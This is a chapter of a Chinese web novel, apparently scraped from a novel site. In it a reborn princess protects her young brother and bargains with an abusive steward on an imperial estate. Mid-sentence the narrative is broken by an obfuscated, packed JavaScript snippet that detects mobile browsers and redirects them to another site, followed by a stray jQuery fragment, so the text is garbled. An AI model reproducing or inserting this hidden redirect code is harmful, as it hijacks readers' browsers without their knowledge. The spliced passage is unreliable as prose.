这时窗外传来脚步声。
宣华睁开了眼睛,听到窗户外传来了一个稚气的声音:“阿姐,阿姐……”
破败的窗户口,出现了一个小小的身影。漆黑的夜中,看不清那孩子的长相。一双骨瘦嶙峋的手从窗户外面伸进来,手里握着什么东西向她招手。
那是她的皇弟李衡!
经历了上一世的生死离别,再次看到皇弟阿衡,宣华的眼泪倏忽流了下来。她奔向窗户,一把抓住了那双手,热泪盈眶。“阿衡!”
“阿姐,给!”那孩子细小的胳膊裸露着,手臂上布满了伤痕。然而他的小手上紧紧抓着一块已经变得硬邦邦的发霉面饼,送到宣华面前。
宣华鼻子一酸,眼泪汹涌而下。
她是从未得到过上天眷顾的人,从小养了一副乖张坚硬的性子。这一生无论如何绝望,她从未曾哭过,然而此时此刻,她终于忍不住哭出声来。
此时的李衡不过七岁,却已经吃了太多的苦。
二人虽是皇室血脉,但在皇庄里过得连最低贱的佣人都不如。
皇庄上上下下,从主人到奴仆,变着法儿折磨她们姐弟。而这一次,她和那帮欺负李衡的孩子们打架,让他们抓到了把柄,被关了整整半个月的禁闭。而皇弟李衡,就在这一次给自己送吃的被抓住,毒打一顿,坏了脑子。
“阿姐,你怎么了?你怎么哭了?”李衡见宣华抓着他的手,两只眼睛眼泪哗哗直流,不由慌了。“阿姐,是我不好,是我连累了阿姐……”
“不,不是。阿衡很乖,阿衡最好了……”她哽咽着接过李衡手里的饼,心如刀绞。
那硬邦邦的不知放了多久的饼,就算是寻常百姓家,恐怕也没有人会吃。谁能想到,上一世她可怜的皇弟,竟是毁在这么一块饼上?
胸腔中的恨意,无穷无尽。
“杨继祖,我绝不会放过你!”她在心中发下了毒誓。
估算着时间,李衡给她送了饼没多久,就被巡夜的人抓住。那巡夜的奴仆明明知道是李衡,却还是把他当贼用鞭子毒打了一顿。
七岁的孩子哪里承受得住鞭打?李衡又惊又怕,登时就昏迷不醒,好容易救活一条命,聪明伶俐的孩子就变成了痴傻,智商永远停留在了七岁的时候。
这件事是她心中永远的痛。好在此刻,那让她悔恨终生的悲剧还未发生。
“阿衡,阿姐好想你,你可以留下来陪阿姐吗?”她深吸了口气,止住了眼泪。
哭是没有用的。她必须想办法,让李衡避过这次的厄运。
果然,她这话一出,李衡毫不迟疑地点点头。
“那你听阿姐的话,推开这窗户,从窗户里钻进来!”这堆放杂物的柴房并没有那么结实,窗户可以从窗外打开。以李衡现在的个子,钻过来并不费劲。
“阿衡别怕,站上去,再跳下来,阿姐接住你!”
李衡很听话地爬上了窗户,宣华从里面扶着他。等到李衡完全爬到了窗户上,宣华用手一托,李衡便一头扎在了她的怀里。
瘦瘦小小的温暖身躯,被李宣华一把抱在了怀里,她用力抱着弟弟,心里一下子便踏实了下来。“阿衡,你知不知道,皇姐好想你……”
自从离开洛阳,有多少年,她没有再见到他了……
怀里的小人儿,睁着一双乌溜溜的大眼睛,趴在她的怀里,让宣华瞬间忘记了所有的辛酸和伤痛。这一夜,她紧紧地抱着失而复得的李衡。
清晨的第一缕阳光从窗户外射进来时,李宣华睁开了眼睛。
看向怀里,李衡还在熟睡。昨夜那悲剧的一夜平安无事。她松了口气,然而就在此刻,便听到了外面院子里传来了一阵急促的脚步声。
“砰——”柴房的门被粗暴地一脚踹开。管家朱能带着两个奴仆出现在门口。
熟睡中的李衡被惊醒,下意识地想坐起来,却被宣华给按住了。
“别怕……”宣华低声地安抚着他,目光向门口一扫。
朱能是她记忆中噩梦般的存在。这个中年丧妻的鳏夫,是杨继祖的一条狗。只要杨继祖一个眼色,他就能跳出来凶猛地撕咬。
宣华姐弟俩在皇庄的日子,没有少吃他的亏。
“好哇,果然在这里!”朱能跨步走进门来,不怀好意地看着依靠在一起的姐弟俩,拿着腔调喝道:“昨天夜里,巡夜的阿林看到有贼人进入院子,他追出来却不见人影。我今儿查了一番,入夜之后,就阿衡这个臭小子不安分,昨夜那个贼,恐怕就是他了!”
说着,一挥手:“来人啊!把他拖出去,让庄头亲自审问!”
他话音未落,那两个五大三粗的仆役便气势汹汹地走了过来。
宣华心头一颤,她本以为昨夜将阿衡留在这里,让他躲过了这场劫难,却没想到,逃过了昨夜,却逃不过今日。
想来,无论阿衡怎么做,他们总能找到借口惩罚他,这顿毒打是逃不脱的!
至于到底是杨继祖的恶毒使然,还是杨皇后在背后的授意,此刻的她并不清楚。但无论如何,她决不能让悲剧重演,绝不会让他们如愿。
眼见着那两个仆役就要走近,她紧搂着阿衡后退一步,厉声道:“慢着!”
“呦呵,小丫头片子,看来你也是皮痒了!想找打不成?”朱能挥了挥鞭子,眼神不善地看向宣华。“既然这样,把她也拖出去!”
“谁敢?”宣华声音都变了调,她后退一步,背抵着墙。
不等朱能开口呵斥,她盯紧了朱能,大声道:“我知道九姑娘的秘密!”
“恩?”朱能那瘦长的脸上掠过一抹异色,他微怔了怔,一挥胳膊将那两个仆役推到了一边。“臭丫头,这话怎么说?”
九姑娘是镇上的绣娘,大龄未嫁,跟绣庄的几个姐妹同住,生得颇有几分姿色。朱能对她垂涎已久,无奈九姑娘从来没有正眼瞧她一眼。
打狗看主人,朱能惹不起绣庄的老板,就像咬不动骨头的狗一样,总不甘心。
看到朱能这反应,宣华不由松了口气。
上一世在宫廷里的生活,让她学会了一些重要且很有用的手段。对付一个人,要从他的欲望下手。欲望即是弱点。朱能的欲望就是九姑娘。
“昨天我路过绣庄时,无意间发现了一件秘密,跟九姑娘有关!”宣华嘴角露出一丝若有若无的笑容来。“你让他们出去,我告诉你一个人!”
果然,听到这里,朱能眼中露出露出灼灼的火光来。
“小丫头,如果你说不出所以然来,今天你可得跟这个臭小子一起受苦!”他用鞭子凌空向李衡点了点,看到李衡畏缩地后退一步,这才向手下挥了挥手,粗声粗气道:“都出去!出去!给我滚远点!”
“是!”那两个仆役忙退了下去,还体贴地把门给关上了。
光线被挡在了门外。一瞬间,屋子里暗了下来。
“好了,说罢!”朱能朝宣华走了过来。
因为经常吃不饱,宣华比寻常的同龄的女孩生得要瘦小,一身衣衫褴褛,满身的伤痕。不过她站在那里,挺直着背脊,却似乎有股高高在上的气势。
这气势让朱能很不舒服,于是他站住了,居高临下地等着她说话。
宣华仰起头,一开口,却是语出惊人:“我可以帮你得到九姑娘,但是朱管家,你恐怕没有命去享受!”
朱能一惊,不敢相信自己的耳朵:“你说什么?”
“我说,我可以帮你得到九姑娘,但是朱管事,你恐怕没有命去享受!”宣华目光犀利地盯着他,将刚才的话又说了一遍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410277|200658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
在这阴暗的柴房里,那么小的孩子,用这种一本正经的语调,来叙说这么一句话,朱能不禁有些毛骨悚然。
“臭丫头,你这话是什么意思?”
宣华眼神一沉,唇角微勾。“朱管事觉得,是杨继祖大,还是皇上大?”
“当、当然是皇上大!”朱能连忙向窗外洛阳方向虚虚一拱手。
“那若给朱管事一个机会……”宣华缓缓开口,声音清冷而沉稳。“朱管事是愿意留在这偏僻皇庄,做一辈子小管事呢,还是愿意给皇上效力,搏一场富贵?”
她的语气淡淡,却带着一种诡异的诱惑。
朱能怔住,心中陡然一紧。
这丫头今夜不太对劲,让他有种被拿捏住的错觉。
“能为庄头效劳,是我朱能的福气!”他强作镇定,恭声答道。
宣华嗤地一笑:“行了,朱管事,这里没有旁人!”她目光直视他,语调陡然一转,带着几分嘲弄。“朱管事是皇庄的老人,从当初的跑腿小厮升为如今的总管,这一辈子的富贵算是到头了!但是这辈子的祸事,才刚刚开始!……朱管事是庄头的心腹,想必也知道我姐弟二人的身份!”
“知道又如何?落毛的凤凰不如鸡!”朱能讥讽地眯了眯眼,语气带着几分试探。“莫非你们姐弟二人,还会有枯木逢春的那一日?”
关于这姐弟二人的身世,他的确是略有所知。据说是从宫里出来的,然而,就像他所说,落毛的凤凰不如鸡。宫里出来的又如何,这姐弟二人得罪的可是当今的杨皇后呢!
杨家一门显赫,权势滔天,这姐弟二人在杨皇后手下还能翻天不成?
宣华沉静一笑:“宫闱秘事,真真假假。朱管事莫要因为听了外间的传言,而看轻我们姐弟二人。虎毒尚且不食子,万一哪天宫里头的那位想起了我们姐弟呢?世事无常,福祸难料。不知道到了那一日,朱管事会不会后悔,曾经没对我们姐弟留条后路?”
最后一句语气却是有些森冷。
朱能身躯一颤,猛地看向宣华。
宣华也正好抬眼看着她。
四目相对,宣华昂起头,傲然一笑:“只要我李宣华不死,这辈子一旦得势,必定会清算所有对不住我的人!而那些肯在我姐弟落难时伸出援手的人,我也绝不会亏待。如今我姐弟势微,朱管事若肯稍加照拂,我自铭心不忘。他日我姐弟若飞上枝头,绝不吝啬赐予朱管事你滔天的富贵!”
朱能猛地吸了一口气,定定地看着眼前的人。“小丫头,你倒是好大的口气!”
宣华轻轻一笑:“这桩买卖,对朱管事来说,是只赚不赔的无本生意。朱管事,不如赌上一赌……赌我姐弟,有朝一日能飞上枝头。”
目送着朱能的背影离开,宣华虚脱地靠在了墙上。
刚才她说完那番话,见朱能的脸色不断变换,看向她的眼神阴晴不定,还以为自己的这番计策失败了,却没想到,朱能的语气却松动了。
“一切都是庄头的意思,我也只是奉命行事啊!”他微叹了口气。
“庄头想要阿衡死?”
“那倒不是……”他看着面前这一脸稚嫩的小姑娘,感叹她显露出来与年龄不太相称的老练。“若是你们死在了这里,倒也麻烦了!”
“是吗?”倒和她猜测的一样。杨皇后一家虽然势大,但是也不是无所不能。单是她宫里的对手,就无时无刻不在等着抓她的错处。
看来只是不想让他们姐弟过得太舒服。
既如此,那她们姐弟却偏偏不让她如意。
宣华眯了眯眼睛,嘴角不由露出一丝笑意。“庄头是杨皇后的族亲,若是我姐弟死在了这里,的确不妥。既然不是要我们死,那么朱管事,我们姐弟二人就全靠你照拂了!”